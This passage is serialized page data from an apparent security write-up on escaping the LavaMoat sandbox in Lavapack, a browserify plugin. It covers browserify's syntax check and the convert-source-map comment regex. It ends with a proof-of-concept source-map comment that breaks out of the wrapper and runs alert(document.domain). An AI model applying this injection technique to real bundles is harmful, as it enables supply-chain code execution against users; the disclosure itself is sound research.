1\n",{"type":23,"tag":41,"props":48158,"children":48159},{"class":43,"line":54},[48160,48164],{"type":23,"tag":41,"props":48161,"children":48162},{"style":70},[48163],{"type":28,"value":31462},{"type":23,"tag":41,"props":48165,"children":48166},{"style":48},[48167],{"type":28,"value":48168},"// end function 2\n",{"type":23,"tag":41,"props":48170,"children":48171},{"class":43,"line":76},[48172,48176],{"type":23,"tag":41,"props":48173,"children":48174},{"style":70},[48175],{"type":28,"value":36197},{"type":23,"tag":41,"props":48177,"children":48178},{"style":48},[48179],{"type":28,"value":48180},"// end with 1\n",{"type":23,"tag":41,"props":48182,"children":48183},{"class":43,"line":85},[48184,48188],{"type":23,"tag":41,"props":48185,"children":48186},{"style":70},[48187],{"type":28,"value":46867},{"type":23,"tag":41,"props":48189,"children":48190},{"style":48},[48191],{"type":28,"value":48192},"// end with 2\n",{"type":23,"tag":41,"props":48194,"children":48195},{"class":43,"line":105},[48196],{"type":23,"tag":41,"props":48197,"children":48198},{"emptyLinePlaceholder":18},[48199],{"type":28,"value":82},{"type":23,"tag":41,"props":48201,"children":48202},{"class":43,"line":155},[48203,48207,48211,48215,48219,48223],{"type":23,"tag":41,"props":48204,"children":48205},{"style":114},[48206],{"type":28,"value":32691},{"type":23,"tag":41,"props":48208,"children":48209},{"style":70},[48210],{"type":28,"value":1737},{"type":23,"tag":41,"props":48212,"children":48213},{"style":858},[48214],{"type":28,"value":32701},{"type":23,"tag":41,"props":48216,"children":48217},{"style":70},[48218],{"type":28,"value":706},{"type":23,"tag":41,"props":48220,"children":48221},{"style":858},[48222],{"type":28,"value":32711},{"type":23,"tag":41,"props":48224,"children":48225},{"style":70},[48226],{"type":28,"value":1969},{"type":23,"tag":24,"props":48228,"children":48229},{},[48230,48232,48238,48240,48247],{"type":28,"value":48231},"However, when we tried to bundle it, a ",{"type":23,"tag":37,"props":48233,"children":48235},{"className":48234},[],[48236],{"type":28,"value":48237},"ParseError",{"type":28,"value":48239}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":458,"props":48241,"children":48244},{"href":48242,"rel":48243},"https://github.com/browserify/browserify",[462],[48245],{"type":28,"value":48246},"browserify",{"type":28,"value":48248},", which has a syntax check before replacing the code.",{"type":23,"tag":24,"props":48250,"children":48251},{},[48252,48254,48260,48262,48268,48270,48276,48278,48283],{"type":28,"value":48253},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":37,"props":48255,"children":48257},{"className":48256},[],[48258],{"type":28,"value":48259},"syntax",{"type":28,"value":48261}," stage on it's pipeline, and uses the ",{"type":23,"tag":37,"props":48263,"children":48265},{"className":48264},[],[48266],{"type":28,"value":48267},"syntax-error",{"type":28,"value":48269}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":37,"props":48271,"children":48273},{"className":48272},[],[48274],{"type":28,"value":48275},"pack",{"type":28,"value":48277}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":37,"props":48279,"children":48281},{"className":48280},[],[48282],{"type":28,"value":48259},{"type":28,"value":48284},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":24,"props":48286,"children":48287},{},[48288],{"type":23,"tag":3918,"props":48289,"children":48292},{"alt":48290,"src":48291},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":24,"props":48294,"children":48295},{},[48296,48297,48302,48304,48309],{"type":28,"value":16601},{"type":23,"tag":37,"props":48298,"children":48300},{"className":48299},[],[48301],{"type":28,"value":48267},{"type":28,"value":48303}," package performs a syntax check by using  ",{"type":23,"tag":37,"props":48305,"children":48307},{"className":48306},[],[48308],{"type":28,"value":37543},{"type":28,"value":48310}," with function hoisting:",{"type":23,"tag":31,"props":48312,"children":48314},{"className":31357,"code":48313,"language":31359,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[48315],{"type":23,"tag":37,"props":48316,"children":48317},{"__ignoreMap":7},[48318,48330,48380,48391,48398,48419,48460,48520,48561],{"type":23,"tag":41,"props":48319,"children":48320},{"class":43,"line":44},[48321,48326],{"type":23,"tag":41,"props":48322,"children":48323},{"style":58},[48324],{"type":28,"value":48325},"try",{"type":23,"tag":41,"props":48327,"children":48328},{"style":70},[48329],{"type":28,"value":102},{"type":23,"tag":41,"props":48331,"children":48332},{"class":43,"line":54},[48333,48338,48342,48347,48351,48356,48360,48365,48371,48376],{"type":23,"tag":41,"props":48334,"children":48335},{"style":114},[48336],{"type":28,"value":48337},"    eval",{"type":23,"tag":41,"props":48339,"children":48340},{"style":70},[48341],{"type":28,"value":1737},{"type":23,"tag":41,"props":48343,"children":48344},{"style":735},[48345],{"type":28,"value":48346},"'throw \"STOP\"; (function () { '",{"type":23,"tag":41,"props":48348,"children":48349},{"style":170},[48350],{"type":28,"value":8901},{"type":23,"tag":41,"props":48352,"children":48353},{"style":858},[48354],{"type":28,"value":48355}," src",{"type":23,"tag":41,"props":48357,"children":48358},{"style":170},[48359],{"type":28,"value":8901},{"type":23,"tag":41,"props":48361,"children":48362},{"style":735},[48363],{"type":28,"value":48364}," '",{"type":23,"tag":41,"props":48366,"children":48368},{"style":48367},"--shiki-default:#D7BA7D",[48369],{"type":28,"value":48370},"\\n",{"type":23,"tag":41,"props":48372,"children":48373},{"style":735},[48374],{"type":28,"value":48375},"})()'",{"type":23,"tag":41,"props":48377,"children":48378},{"style":70},[48379],{"type":28,"value":3825},{"type":23,"tag":41,"props":48381,"children":48382},{"class":43,"line":76},[48383,48387],{"type":23,"tag":41,"props":48384,"children":48385},{"style":58},[48386],{"type":28,"value":1090},{"type":23,"tag":41,"props":48388,"children":48389},{"style":70},[48390],{"type":28,"value":183},{"type":23,"tag":41,"props":48392,"children":48393},{"class":43,"line":85},[48394],{"type":23,"tag":41,"props":48395,"children":48396},{"style":70},[48397],{"type":28,"value":201},{"type":23,"tag":41,"props":48399,"children":48400},{"class":43,"line":105},[48401,48406,48410,48415],{"type":23,"tag":41,"props":48402,"children":48403},{"style":58},[48404],{"type":28,"value":48405},"catch",{"type":23,"tag":41,"props":48407,"children":48408},{"style":70},[48409],{"type":28,"value":142},{"type":23,"tag":41,"props":48411,"children":48412},{"style":858},[48413],{"type":28,"value":48414},"err",{"type":23,"tag":41,"props":48416,"children":48417},{"style":70},[48418],{"type":28,"value":152},{"type":23,"tag":41,"props":48420,"children":48421},{"class":43,"line":155},[48422,48426,48430,48434,48438,48443,48447,48452,48456],{"type":23,"tag":41,"props":48423,"children":48424},{"style":58},[48425],{"type":28,"value":2440},{"type":23,"tag":41,"props":48427,"children":48428},{"style":70},[48429],{"type":28,"value":142},{"type":23,"tag":41,"props":48431,"children":48432},{"style":858},[48433],{"type":28,"value":48414},{"type":23,"tag":41,"props":48435,"children":48436},{"style":170},[48437],{"type":28,"value":31416},{"type":23,"tag":41,"props":48439,"children":48440},{"style":735},[48441],{"type":28,"value":48442}," 'STOP'",{"type":23,"tag":41,"props":48444,"children":48445},{"style":70},[48446],{"type":28,"value":866},{"type":23,"tag":41,"props":48448,"children":48449},{"style":58},[48450],{"type":28,"value":48451},"return",{"type":23,"tag":41,"props":48453,"children":48454},{"style":64},[48455],{"type":28,"value":39330},{"type":23,"tag":41,"props":48457,"children":48458},{"style":70},[48459],{"type":28,"value":183},{"type":23,"tag":41,"props":48461,"children":48462},{"class":43,"line":186},[48463,48467,48471,48475,48479,48484,48488,48493,48498,48503,48507,48511,48516],{"type":23,"tag":41,"props":48464,"children":48465},{"style":58},[48466],{"type":28,"value":2440},{"type":23,"tag":41,"props":48468,"children":48469},{"style":70},[48470],{"type":28,"value":142},{"type":23,"tag":41,"props":48472,"children":48473},{"style":858},[48474],{"type":28,"value":48414},{"type":23,"tag":41,"props":48476,"children":48477},{"style":70},[48478],{"type":28,"value":706},{"type":23,"tag":41,"props":48480,"children":48481},{"style":858},[48482],{"type":28,"value":48483},"constructor",{"type":23,"tag":41,"props":48485,"children":48486},{"style":70},[48487],{"type":28,"value":706},{"type":23,"tag":41,"props":48489,"children":48490},{"style":858},[48491],{"type":28,"value":48492},"name",{"type":23,"tag":41,"props":48494,"children":48495},{"style":170},[48496],{"type":28,"value":48497}," !==",{"type":23,"tag":41,"props":48499,"children":48500},{"style":735},[48501],{"type":28,"value":48502}," 'SyntaxError'",{"type":23,"tag":41,"props":48504,"children":48505},{"style":70},[48506],{"type":28,"value":866},{"type":23,"tag":41,"props":48508,"children":48509},{"style":58},[48510],{"type":28,"value":48451},{"type":23,"tag":41,"props":48512,"children":48513},{"style":858},[48514],{"type":28,"value":48515}," err",{"type":23,"tag":41,"props":48517,"children":48518},{"style":70},[48519],{"type":28,"value":183},{"type":23,"tag":41,"props":48521,"children":48522},{"class":43,"line":195},[48523,48527,48532,48536,48540,48544,48548,48552,48557],{"type":23,"tag":41,"props":48524,"children":48525},{"style":58},[48526],{"type":28,"value":1090},{"type":23,"tag":41,"props":48528,"children":48529},{"style":114},[48530],{"type":28,"value":48531}," errorInfo",{"type":23,"tag":41,"props":48533,"children":48534},{"style":70},[48535],{"type":28,"value":1737},{"type":23,"tag":41,"props":48537,"children":48538},{"style":858},[48539],{"type":28,"value":32663},{"type":23,"tag":41,"props":48541,"children":48542},{"style":70},[48543],{"type":28,"value":970},{"type":23,"tag":41,"props":48545,"children":48546},{"style":858},[48547],{"type":28,"value":47938},{"type":23,"tag":41,"props":48549,"children":48550},{"style":70},[48551],{"type":28,"value":970},{"type":23,"tag":41,"props":48553,"children":48554},{"style":858},[48555],{"type":28,"value":48556},"opts",{"type":23,"tag":41,"props":48558,"children":48559},{"style":70},[48560],{"type":28,"value":3825},{"type":23,"tag":41,"props":48562,"children":48563},{"class":43,"line":905},[48564],{"type":23,"tag":41,"props":48565,"children":48566},{"style":70},[48567],{"type":28,"value":201},{"type":23,"tag":24,"props":48569,"children":48570},{},[48571,48573,48577,48579,48585,48587,48592],{"type":28,"value":48572},"Interestingly, it ",{"type":23,"tag":2913,"props":48574,"children":48575},{},[48576],{"type":28,"value":2829},{"type":28,"value":48578}," possible to inject a ",{"type":23,"tag":37,"props":48580,"children":48582},{"className":48581},[],[48583],{"type":28,"value":48584},"}); (() => {",{"type":28,"value":48586}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":37,"props":48588,"children":48590},{"className":48589},[],[48591],{"type":28,"value":48108},{"type":28,"value":48593}," sandbox of Lavapack.",{"type":23,"tag":546,"props":48595,"children":48597},{"id":48596},"sourcemap-the-syntax-killer",[48598],{"type":28,"value":48599},"SourceMap: The Syntax Killer",{"type":23,"tag":24,"props":48601,"children":48602},{},[48603,48605,48612],{"type":28,"value":48604},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":458,"props":48606,"children":48609},{"href":48607,"rel":48608},"https://www.npmjs.com/package/convert-source-map",[462],[48610],{"type":28,"value":48611},"convert-source-map",{"type":28,"value":48613}," npm package:",{"type":23,"tag":31,"props":48615,"children":48617},{"className":31357,"code":48616,"language":31359,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[48618],{"type":23,"tag":37,"props":48619,"children":48620},{"__ignoreMap":7},[48621,48645,48687,48695,48736,48777,48805],{"type":23,"tag":41,"props":48622,"children":48623},{"class":43,"line":44},[48624,48628,48633,48637,48641],{"type":23,"tag":41,"props":48625,"children":48626},{"style":64},[48627],{"type":28,"value":31371},{"type":23,"tag":41,"props":48629,"children":48630},{"style":114},[48631],{"type":28,"value":48632}," extractSourceMaps",{"type":23,"tag":41,"props":48634,"children":48635},{"style":70},[48636],{"type":28,"value":1737},{"type":23,"tag":41,"props":48638,"children":48639},{"style":858},[48640],{"type":28,"value":38008},{"type":23,"tag":41,"props":48642,"children":48643},{"style":70},[48644],{"type":28,"value":152},{"type":23,"tag":41,"props":48646,"children":48647},{"class":43,"line":54},[48648,48652,48657,48661,48666,48670,48675,48679,48683],{"type":23,"tag":41,"props":48649,"children":48650},{"style":64},[48651],{"type":28,"value":36183},{"type":23,"tag":41,"props":48653,"children":48654},{"style":858},[48655],{"type":28,"value":48656}," converter",{"type":23,"tag":41,"props":48658,"children":48659},{"style":170},[48660],{"type":28,"value":3017},{"type":23,"tag":41,"props":48662,"children":48663},{"style":858},[48664],{"type":28,"value":48665}," convertSourceMap",{"type":23,"tag":41,"props":48667,"children":48668},{"style":70},[48669],{"type":28,"value":706},{"type":23,"tag":41,"props":48671,"children":48672},{"style":114},[48673],{"type":28,"value":48674},"fromSource",{"type":23,"tag":41,"props":48676,"children":48677},{"style":70},[48678],{"type":28,"value":1737},{"type":23,"tag":41,"props":48680,"children":48681},{"style":858},[48682],{"type":28,"value":38008},{"type":23,"tag":41,"props":48684,"children":48685},{"style":70},[48686],{"type":28,"value":1969},{"type":23,"tag":41,"props":48688,"children":48689},{"class":43,"line":76},[48690],{"type":23,"tag":41,"props":48691,"children":48692},{"style":48},[48693],{"type":28,"value":48694},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":41,"props":48696,"children":48697},{"class":43,"line":85},[48698,48702,48707,48711,48715,48719,48723,48727,48732],{"type":23,"tag":41,"props":48699,"children":48700},{"style":64},[48701],{"type":28,"value":36183},{"type":23,"tag":41,"props":48703,"children":48704},{"style":858},[48705],{"type":28,"value":48706}," maps",{"type":23,"tag":41,"props":48708,"children":48709},{"style":170},[48710],{"type":28,"value":3017},{"type":23,"tag":41,"props":48712,"children":48713},{"style":858},[48714],{"type":28,"value":48656},{"type":23,"tag":41,"props":48716,"children":48717},{"style":170},[48718],{"type":28,"value":2472},{"type":23,"tag":41,"props":48720,"children":48721},{"style":858},[48722],{"type":28,"value":48656},{"type":23,"tag":41,"props":48724,"children":48725},{"style":70},[48726],{"type":28,"value":706},{"type":23,"tag":41,"props":48728,"children":48729},{"style":114},[48730],{"type":28,"value":48731},"toObject",{"type":23,"tag":41,"props":48733,"children":48734},{"style":70},[48735],{"type":28,"value":7735},{"type":23,"tag":41,"props":48737,"children":48738},{"class":43,"line":105},[48739,48743,48748,48752,48756,48760,48765,48769,48773],{"type":23,"tag":41,"props":48740,"children":48741},{"style":64},[48742],{"type":28,"value":36183},{"type":23,"tag":41,"props":48744,"children":48745},{"style":858},[48746],{"type":28,"value":48747}," code",{"type":23,"tag":41,"props":48749,"children":48750},{"style":170},[48751],{"type":28,"value":3017},{"type":23,"tag":41,"props":48753,"children":48754},{"style":858},[48755],{"type":28,"value":48665},{"type":23,"tag":41,"props":48757,"children":48758},{"style":70},[48759],{"type":28,"value":706},{"type":23,"tag":41,"props":48761,"children":48762},{"style":114},[48763],{"type":28,"value":48764},"removeComments",{"type":23,"tag":41,"props":48766,"children":48767},{"style":70},[48768],{"type":28,"value":1737},{"type":23,"tag":41,"props":48770,"children":48771},{"style":858},[48772],{"type":28,"value":38008},{"type":23,"tag":41,"props":48774,"children":48775},{"style":70},[48776],{"type":28,"value":1969},{"type":23,"tag":41,"props":48778,"children":48779},{"class":43,"line":155},[48780,48784,48788,48792,48796,48801],{"type":23,"tag":41,"props":48781,"children":48782},{"style":58},[48783],{"type":28,"value":39191},{"type":23,"tag":41,"props":48785,"children":48786},{"style":70},[48787],{"type":28,"value":9584},{"type":23,"tag":41,"props":48789,"children":48790},{"style":858},[48791],{"type":28,"value":37},{"type":23,"tag":41,"props":48793,"children":48794},{"style":70},[48795],{"type":28,"value":970},{"type":23,"tag":41,"props":48797,"children":48798},{"style":858},[48799],{"type":28,"value":48800},"maps",{"type":23,"tag":41,"props":48802,"children":48803},{"style":70},[48804],{"type":28,"value":9594},{"type":23,"tag":41,"props":48806,"children":48807},{"class":43,"line":186},[48808],{"type":23,"tag":41,"props":48809,"children":48810},{"style":70},[48811],{"type":28,"value":201},{"type":23,"tag":24,"props":48813,"children":48814},{},[48815,48817,48822,48824,48829],{"type":28,"value":48816},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":37,"props":48818,"children":48820},{"className":48819},[],[48821],{"type":28,"value":48259},{"type":28,"value":48823}," stage. Reviewing the ",{"type":23,"tag":37,"props":48825,"children":48827},{"className":48826},[],[48828],{"type":28,"value":48611},{"type":28,"value":48830}," code, we can see exactly how this happens.",{"type":23,"tag":31,"props":48832,"children":48834},{"className":31357,"code":48833,"language":31359,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[48835],{"type":23,"tag":37,"props":48836,"children":48837},{"__ignoreMap":7},[48838,48877,48903,48911,49125,49132,49139,49146,49181,49231],{"type":23,"tag":41,"props":48839,"children":48840},{"class":43,"line":44},[48841,48846,48850,48855,48859,48863,48867,48872],{"type":23,"tag":41,"props":48842,"children":48843},{"style":858},[48844],{"type":28,"value":48845},"Object",{"type":23,"tag":41,"props":48847,"children":48848},{"style":70},[48849],{"type":28,"value":706},{"type":23,"tag":41,"props":48851,"children":48852},{"style":114},[48853],{"type":28,"value":48854},"defineProperty",{"type":23,"tag":41,"props":48856,"children":48857},{"style":70},[48858],{"type":28,"value":1737},{"type":23,"tag":41,"props":48860,"children":48861},{"style":94},[48862],{"type":28,"value":37881},{"type":23,"tag":41,"props":48864,"children":48865},{"style":70},[48866],{"type":28,"value":970},{"type":23,"tag":41,"props":48868,"children":48869},{"style":735},[48870],{"type":28,"value":48871},"'commentRegex'",{"type":23,"tag":41,"props":48873,"children":48874},{"style":70},[48875],{"type":28,"value":48876},", {\n",{"type":23,"tag":41,"props":48878,"children":48879},{"class":43,"line":54},[48880,48885,48889,48893,48898],{"type":23,"tag":41,"props":48881,"children":48882},{"style":114},[48883],{"type":28,"value":48884},"  get",{"type":23,"tag":41,"props":48886,"children":48887},{"style":858},[48888],{"type":28,"value":1474},{"type":23,"tag":41,"props":48890,"children":48891},{"style":64},[48892],{"type":28,"value":669},{"type":23,"tag":41,"props":48894,"children":48895},{"style":114},[48896],{"type":28,"value":48897}," getCommentRegex",{"type":23,"tag":41,"props":48899,"children":48900},{"style":70},[48901],{"type":28,"value":48902}," () {\n",{"type":23,"tag":41,"props":48904,"children":48905},{"class":43,"line":76},[48906],{"type":23,"tag":41,"props":48907,"children":48908},{"style":48},[48909],{"type":28,"value":48910},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":41,"props":48912,"children":48913},{"class":43,"line":85},[48914,48918,48924,48929,48934,48939,48943,48948,48953,48958,48962,48966,48971,48976,48981,48986,48990,48994,48998,49003,49007,49012,49017,49022,49027,49031,49035,49039,49043,49047,49051,49055,49059,49064,49069,49073,49078,49083,49087,49091,49095,49099,49104,49108,49112,49116,49121],{"type":23,"tag":41,"props":48915,"children":48916},{"style":58},[48917],{"type":28,"value":1090},{"type":23,"tag":41,"props":48919,"children":48921},{"style":48920},"--shiki-default:#D16969",[48922],{"type":28,"value":48923}," /",{"type":23,"tag":41,"props":48925,"children":48926},{"style":114},[48927],{"type":28,"value":48928},"^",{"type":23,"tag":41,"props":48930,"children":48931},{"style":48920},[48932],{"type":28,"value":48933},"\\s",{"type":23,"tag":41,"props":48935,"children":48936},{"style":48367},[48937],{"type":28,"value":48938},"*?\\/",{"type":23,"tag":41,"props":48940,"children":48941},{"style":735},[48942],{"type":28,"value":312},{"type":23,"tag":41,"props":48944,"children":48945},{"style":48367},[48946],{"type":28,"value":48947},"\\/\\*",{"type":23,"tag":41,"props":48949,"children":48950},{"style":735},[48951],{"type":28,"value":48952},"][",{"type":23,"tag":41,"props":48954,"children":48955},{"style":48920},[48956],{"type":28,"value":48957},"@#",{"type":23,"tag":41,"props":48959,"children":48960},{"style":735},[48961],{"type":28,"value":15402},{"type":23,"tag":41,"props":48963,"children":48964},{"style":48920},[48965],{"type":28,"value":48933},{"type":23,"tag":41,"props":48967,"children":48968},{"style":48367},[48969],{"type":28,"value":48970},"+?",{"type":23,"tag":41,"props":48972,"children":48973},{"style":48920},[48974],{"type":28,"value":48975},"sourceMappingURL=data:",{"type":23,"tag":41,"props":48977,"children":48978},{"style":735},[48979],{"type":28,"value":48980},"(((?:",{"type":23,"tag":41,"props":48982,"children":48983},{"style":48920},[48984],{"type":28,"value":48985},"application",{"type":23,"tag":41,"props":48987,"children":48988},{"style":114},[48989],{"type":28,"value":10414},{"type":23,"tag":41,"props":48991,"children":48992},{"style":48920},[48993],{"type":28,"value":28},{"type":23,"tag":41,"props":48995,"children":48996},{"style":735},[48997],{"type":28,"value":2678},{"type":23,"tag":41,"props":48999,"children":49000},{"style":48367},[49001],{"type":28,"value":49002},"\\/",{"type":23,"tag":41,"props":49004,"children":49005},{"style":48920},[49006],{"type":28,"value":33991},{"type":23,"tag":41,"props":49008,"children":49009},{"style":735},[49010],{"type":28,"value":49011},")(?:",{"type":23,"tag":41,"props":49013,"children":49014},{"style":48920},[49015],{"type":28,"value":49016},";charset=",{"type":23,"tag":41,"props":49018,"children":49019},{"style":735},[49020],{"type":28,"value":49021},"([^",{"type":23,"tag":41,"props":49023,"children":49024},{"style":48920},[49025],{"type":28,"value":49026},";,",{"type":23,"tag":41,"props":49028,"children":49029},{"style":735},[49030],{"type":28,"value":15402},{"type":23,"tag":41,"props":49032,"children":49033},{"style":48367},[49034],{"type":28,"value":48970},{"type":23,"tag":41,"props":49036,"children":49037},{"style":735},[49038],{"type":28,"value":2678},{"type":23,"tag":41,"props":49040,"children":49041},{"style":48367},[49042],{"type":28,"value":3155},{"type":23,"tag":41,"props":49044,"children":49045},{"style":735},[49046],{"type":28,"value":2678},{"type":23,"tag":41,"props":49048,"children":49049},{"style":48367},[49050],{"type":28,"value":3155},{"type":23,"tag":41,"props":49052,"children":49053},{"style":735},[49054],{"type":28,"value":2678},{"type":23,"tag":41,"props":49056,"children":49057},{"style":48367},[49058],{"type":28,"value":3155},{"type":23,"tag":41,"props":49060,"children":49061},{"style":735},[49062],{"type":28,"value":49063},"(?:",{"type":23,"tag":41,"props":49065,"children":49066},{"style":48920},[49067],{"type":28,"value":49068},";",{"type":23,"tag":41,"props":49070,"children":49071},{"style":735},[49072],{"type":28,"value":1737},{"type":23,"tag":41,"props":49074,"children":49075},{"style":48920},[49076],{"type":28,"value":49077},"base64",{"type":23,"tag":41,"props":49079,"children":49080},{"style":735},[49081],{"type":28,"value":49082},"))",{"type":23,"tag":41,"props":49084,"children":49085},{"style":48367},[49086],{"type":28,"value":3155},{"type":23,"tag":41,"props":49088,"children":49089},{"style":48920},[49090],{"type":28,"value":4127},{"type":23,"tag":41,"props":49092,"children":49093},{"style":735},[49094],{"type":28,"value":1737},{"type":23,"tag":41,"props":49096,"children":49097},{"style":48920},[49098],{"type":28,"value":706},{"type":23,"tag":41,"props":49100,"children":49101},{"style":48367},[49102],{"type":28,"value":49103},"*?",{"type":23,"tag":41,"props":49105,"children":49106},{"style":735},[49107],{"type":28,"value":2678},{"type":23,"tag":41,"props":49109,"children":49110},{"style":114},[49111],{"type":28,"value":10286},{"type":23,"tag":41,"props":49113,"children":49114},{"style":48920},[49115],{"type":28,"value":4579},{"type":23,"tag":41,"props":49117,"children":49118},{"style":64},[49119],{"type":28,"value":49120},"mg",{"type":23,"tag":41,"props":49122,"children":49123},{"style":70},[49124],{"type":28,"value":183},{"type":23,"tag":41,"props":49126,"children":49127},{"class":43,"line":105},[49128],{"type":23,"tag":41,"props":49129,"children":49130},{"style":70},[49131],{"type":28,"value":5872},{"type":23,"tag":41,"props":49133,"children":49134},{"class":43,"line":155},[49135],{"type":23,"tag":41,"props":49136,"children":49137},{"style":70},[49138],{"type":28,"value":35332},{"type":23,"tag":41,"props":49140,"children":49141},{"class":43,"line":186},[49142],{"type":23,"tag":41,"props":49143,"children":49144},{"emptyLinePlaceholder":18},[49145],{"type":28,"value":82},{"type":23,"tag":41,"props":49147,"children":49148},{"class":43,"line":195},[49149,49153,49157,49161,49165,49169,49173,49177],{"type":23,"tag":41,"props":49150,"children":49151},{"style":94},[49152],{"type":28,"value":37881},{"type":23,"tag":41,"props":49154,"children":49155},{"style":70},[49156],{"type":28,"value":706},{"type":23,"tag":41,"props":49158,"children":49159},{"style":114},[49160],{"type":28,"value":48764},{"type":23,"tag":41,"props":49162,"children":49163},{"style":170},[49164],{"type":28,"value":3017},{"type":23,"tag":41,"props":49166,"children":49167},{"style":64},[49168],{"type":28,"value":669},{"type":23,"tag":41,"props":49170,"children":49171},{"style":70},[49172],{"type":28,"value":142},{"type":23,"tag":41,"props":49174,"children":49175},{"style":858},[49176],{"type":28,"value":32663},{"type":23,"tag":41,"props":49178,"children":49179},{"style":70},[49180],{"type":28,"value":152},{"type":23,"tag":41,"props":49182,"children":49183},{"class":43,"line":905},[49184,49188,49192,49196,49201,49205,49209,49213,49218,49222,49227],{"type":23,"tag":41,"props":49185,"children":49186},{"style":58},[49187],{"type":28,"value":39191},{"type":23,"tag":41,"props":49189,"children":49190},{"style":858},[49191],{"type":28,"value":48355},{"type":23,"tag":41,"props":49193,"children":49194},{"style":70},[49195],{"type":28,"value":706},{"type":23,"tag":41,"props":49197,"children":49198},{"style":114},[49199],{"type":28,"value":49200},"replace",{"type":23,"tag":41,"props":49202,"children":49203},{"style":70},[49204],{"type":28,"value":1737},{"type":23,"tag":41,"props":49206,"children":49207},{"style":94},[49208],{"type":28,"value":37881},{"type":23,"tag":41,"props":49210,"children":49211},{"style":70},[49212],{"type":28,"value":706},{"type":23,"tag":41,"props":49214,"children":49215},{"style":858},[49216],{"type":28,"value":49217},"commentRegex",{"type":23,"tag":41,"props":49219,"children":49220},{"style":70},[49221],{"type":28,"value":970},{"type":23,"tag":41,"props":49223,"children":49224},{"style":735},[49225],{"type":28,"value":49226},"''",{"type":23,"tag":41,"props":49228,"children":49229},{"style":70},[49230],{"type":28,"value":3825},{"type":23,"tag":41,"props":49232,"children":49233},{"class":43,"line":922},[49234],{"type":23,"tag":41,"props":49235,"children":49236},{"style":70},[49237],{"type":28,"value":936},{"type":23,"tag":24,"props":49239,"children":49240},{},[49241,49243,49249],{"type":28,"value":49242},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":37,"props":49244,"children":49246},{"className":49245},[],[49247],{"type":28,"value":49248},"/*",{"type":28,"value":49250},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":546,"props":49252,"children":49254},{"id":49253},"the-bypass",[49255],{"type":28,"value":49256},"The Bypass",{"type":23,"tag":24,"props":49258,"children":49259},{},[49260,49262,49267,49269,49274],{"type":28,"value":49261},"By abusing the ",{"type":23,"tag":37,"props":49263,"children":49265},{"className":49264},[],[49266],{"type":28,"value":48764},{"type":28,"value":49268}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":37,"props":49270,"children":49272},{"className":49271},[],[49273],{"type":28,"value":48108},{"type":28,"value":49275}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":31,"props":49277,"children":49279},{"className":31357,"code":49278,"language":31359,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[49280],{"type":23,"tag":37,"props":49281,"children":49282},{"__ignoreMap":7},[49283,49291,49298,49306,49314,49322,49330,49338,49346,49353,49361],{"type":23,"tag":41,"props":49284,"children":49285},{"class":43,"line":44},[49286],{"type":23,"tag":41,"props":49287,"children":49288},{"style":48},[49289],{"type":28,"value":49290},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":41,"props":49292,"children":49293},{"class":43,"line":54},[49294],{"type":23,"tag":41,"props":49295,"children":49296},{"emptyLinePlaceholder":18},[49297],{"type":28,"value":82},{"type":23,"tag":41,"props":49299,"children":49300},{"class":43,"line":76},[49301],{"type":23,"tag":41,"props":49302,"children":49303},{"style":48},[49304],{"type":28,"value":49305},"}}}}\n",{"type":23,"tag":41,"props":49307,"children":49308},{"class":43,"line":85},[49309],{"type":23,"tag":41,"props":49310,"children":49311},{"style":48},[49312],{"type":28,"value":49313},"}, {\n",{"type":23,"tag":41,"props":49315,"children":49316},{"class":43,"line":105},[49317],{"type":23,"tag":41,"props":49318,"children":49319},{"style":48},[49320],{"type":28,"value":49321},"    package: \"xpl\",\n",{"type":23,"tag":41,"props":49323,"children":49324},{"class":43,"line":155},[49325],{"type":23,"tag":41,"props":49326,"children":49327},{"style":48},[49328],{"type":28,"value":49329},"    file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":41,"props":49331,"children":49332},{"class":43,"line":186},[49333],{"type":23,"tag":41,"props":49334,"children":49335},{"style":48},[49336],{"type":28,"value":49337},"    test: alert(document.domain),\n",{"type":23,"tag":41,"props":49339,"children":49340},{"class":43,"line":195},[49341],{"type":23,"tag":41,"props":49342,"children":49343},{"style":48},[49344],{"type":28,"value":49345},"    test1: () => { () => { () => { () => 